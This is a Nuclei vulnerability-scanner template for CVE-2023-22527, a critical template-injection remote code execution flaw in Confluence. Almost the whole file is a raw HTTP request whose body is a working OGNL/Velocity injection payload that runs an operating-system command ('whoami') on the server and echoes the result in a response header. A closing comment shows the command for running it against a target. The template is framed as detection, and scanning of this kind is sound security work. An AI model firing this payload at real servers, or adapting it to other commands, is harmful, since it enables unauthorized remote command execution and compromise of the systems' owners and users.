CVE-2023-22527.yaml

id: CVE-2023-22527

info:
  name: Confluence-RCE
  author: Thanh Lam
  severity: critical
  description: Detect Template Injection Vulnerability in Confluence to RCE

http:
  - raw:
      - |+
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 286

        label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new+freemarker.template.utility.Execute()).exec({"whoami"}))

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Cmd-Ret'
      - type: status
        status:
          - 200
          
# nuclei -v -t path/to/file.yaml -u http://ip:8090/